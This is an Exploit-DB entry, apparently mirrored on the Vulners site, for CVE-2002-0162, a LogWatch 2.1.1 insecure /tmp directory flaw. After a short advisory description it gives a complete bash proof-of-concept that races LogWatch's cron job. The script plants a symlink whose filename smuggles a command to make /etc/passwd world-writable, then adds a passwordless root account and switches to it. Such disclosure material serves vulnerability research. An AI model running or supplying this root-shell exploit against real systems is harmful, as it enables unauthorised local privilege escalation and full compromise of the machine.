Lucene search
+L

LogWatch 2.1.1/2.5 - Insecure Temporary Directory Creation

🗓️ 27 Mar 2002 00:00:00Reported by spybreakType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

LogWatch allows local users to exploit insecure directory creation for root access on Linux systems.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2002-0162
30 Mar 200205:00
–cve
cvelist
Cvelist
CVE-2002-0162
30 Mar 200205:00
–cvelist
euvd
EUVD
EUVD-2002-0161
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2002-0162
27 Mar 200205:00
–nvd
rapid7
Rapid7 Vulnerability Database (full)
CVE-2002-0162: Undefined Security Weakness
30 Mar 200200:00
–rapid7
source: https://www.securityfocus.com/bid/4374/info

LogWatch is a freely available, open source script for monitoring log files. It may be used with the Linux and Unix Operating systems.

Upon execution, LogWatch creates a directory in /tmp. This directory uses the name logwatch.$pid, where $pid is the process id of the executing script. The LogWatch script does not check for an already existing directory or contents of the already existing directory. It is therefore possible for a local user to create a malicious logwatch.$pid directory using predicted process IDs, and place malicious files in the directory which will be executed.

cat > logwatch211.sh <<EOF

#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <[email protected]>


SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/

echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <[email protected]>'
echo
echo "Waiting for LogWatch to be executed"

while :; do
  set `ps -o pid -C $SERVANT`
    if [ -n "$2" ]; then
      mkdir /tmp/logwatch.$2
      ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
      break;
    fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
  set `ps -o pid -C $SERVANT`
    if [ -z "$2" ]; then
      ls -l /etc/passwd|mail root
      echo master::0:0:master:/root:/bin/bash >> /etc/passwd
      break;
    fi
done
su master

EOF

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.2
EPSS0.00772
34